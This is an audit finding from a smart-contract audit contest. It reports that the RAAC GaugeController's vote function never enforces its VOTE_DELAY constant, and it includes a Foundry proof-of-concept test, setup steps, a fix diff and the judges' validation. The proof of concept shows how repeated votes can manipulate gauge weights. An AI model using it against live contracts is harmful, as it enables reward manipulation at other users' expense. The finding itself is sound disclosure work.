Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

No `VOTE_DELAY` check in `GaugeController` could lead to voting manipulation in gauge rewards distribution

Description

The GaugeController contract is missing a vote delay check, which could allow users to vote as frequently as they want, potentially leading to manipulation of the gauge voting system.

The documentation explicitly mentions:

Minimum vote delay for manipulation prevention

While the GaugeController contract defines a VOTE_DELAY constant, it is not enforced in the vote function. This allows users to vote whenever they want to, potentially leading to manipulation regarding gauge rewards distribution.

Context

Impact

High. The absence of a vote delay could lead to manipulation in gauge rewards distribution.

Likelihood

High. Since there's no restriction in place, any user can exploit this issue at any time by rapidly adjusting their vote weights.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "../../lib/forge-std/src/Test.sol";
import {GaugeController, IGaugeController} from "../../contracts/core/governance/gauges/GaugeController.sol";
import {RAACGauge} from "../../contracts/core/governance/gauges/RAACGauge.sol";
import {RWAGauge} from "../../contracts/core/governance/gauges/RWAGauge.sol";
import {veRAACToken} from "../../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../../contracts/core/tokens/RAACToken.sol";
import {ERC20Mock} from "./mocks/ERC20Mock.sol";
contract GaugesTest is Test {
// Contracts
GaugeController gaugeController;
veRAACToken veRaac;
RAACToken raac;
RAACGauge raacGauge;
RWAGauge rwaGauge;
ERC20Mock stakingToken;
ERC20Mock rewardToken;
// Actors
address OWNER = makeAddr("owner");
address ALICE = makeAddr("alice");
address BOB = makeAddr("bob");
function setUp() public {
vm.startPrank(OWNER);
// Deploy controller
raac = new RAACToken(OWNER, 0, 0);
veRaac = new veRAACToken(address(raac));
gaugeController = new GaugeController(address(veRaac));
// Deploy gauges
stakingToken = new ERC20Mock("Staking Token", "STK", 18);
rewardToken = new ERC20Mock("Reward Token", "RTK", 18);
raacGauge = new RAACGauge(address(rewardToken), address(stakingToken), address(gaugeController));
rwaGauge = new RWAGauge(address(rewardToken), address(stakingToken), address(gaugeController));
// Grant roles
raacGauge.grantRole(raacGauge.CONTROLLER_ROLE(), OWNER);
raacGauge.grantRole(raacGauge.EMERGENCY_ADMIN(), OWNER);
raacGauge.grantRole(raacGauge.FEE_ADMIN(), OWNER);
rwaGauge.grantRole(rwaGauge.CONTROLLER_ROLE(), OWNER);
rwaGauge.grantRole(rwaGauge.EMERGENCY_ADMIN(), OWNER);
rwaGauge.grantRole(rwaGauge.FEE_ADMIN(), OWNER);
// Config gauges
gaugeController.addGauge(
address(raacGauge), IGaugeController.GaugeType.RAAC, gaugeController.WEIGHT_PRECISION()
);
gaugeController.addGauge(address(rwaGauge), IGaugeController.GaugeType.RWA, gaugeController.WEIGHT_PRECISION());
vm.stopPrank();
}
function test_noVoteDelay() public {
// Give veTokens to BOB
deal(address(veRaac), BOB, 1_000e18, true);
// Vote with first weight
uint256 firstWeight = 2000;
vm.prank(BOB);
gaugeController.vote(address(raacGauge), firstWeight);
// Assert that Bob's first vote was updated correctly
assertEq(gaugeController.userGaugeVotes(BOB, address(raacGauge)), firstWeight);
// Vote with second weight
uint256 secondWeight = 5000;
vm.prank(BOB);
gaugeController.vote(address(raacGauge), secondWeight);
// Assert that Bob's second vote was updated correctly
assertEq(gaugeController.userGaugeVotes(BOB, address(raacGauge)), secondWeight);
}
}

Instructions

First, integrate Foundry by running the following commands in your terminal, in the project's root directory:

# Create required directories
mkdir out lib
# Add `forge-std` module to `lib`
git submodule add https://github.com/foundry-rs/forge-std lib/forge-std
# Create foundry.toml
touch foundry.toml

Next, configure Foundry by adding the following settings to foundry.toml:

[profile.default]
src = "contracts"
out = "out"
lib = "lib"

After that, create a foundry/ directory inside the test/ directory. Inside foundry/, create the following files:

  • GaugesTest.t.sol

  • mocks/ERC20Mock.sol

Then, add the following code to mocks/ERC20Mock.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract ERC20Mock is ERC20 {
uint8 private _decimals;
constructor(string memory _tokenName, string memory _tokenSymbol, uint8 _tokenDecimals)
ERC20(_tokenName, _tokenSymbol)
{
_decimals = _tokenDecimals;
}
function mint(address account, uint256 amount) external {
_mint(account, amount);
}
function burn(address account, uint256 amount) external {
_burn(account, amount);
}
function decimals() public view override returns (uint8) {
return _decimals;
}
}

Finally, paste the provided (PoC) into GaugesTest.t.sol and run:

forge test --mt test_noVoteDelay -vvv

Recommendation

Enforce a voting delay using the existing VOTE_DELAY constant variable. Additionally, update the lastVoteTime for the user.

function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
+ if (block.timestamp < lastVoteTime[msg.sender] + VOTE_DELAY) revert VotingDelayNotMet();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
+ lastVoteTime[msg.sender] = block.timestamp;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote never enforces VOTE_DELAY or updates lastVoteTime, allowing users to spam votes and manipulate gauge weights without waiting

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote never enforces VOTE_DELAY or updates lastVoteTime, allowing users to spam votes and manipulate gauge weights without waiting

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!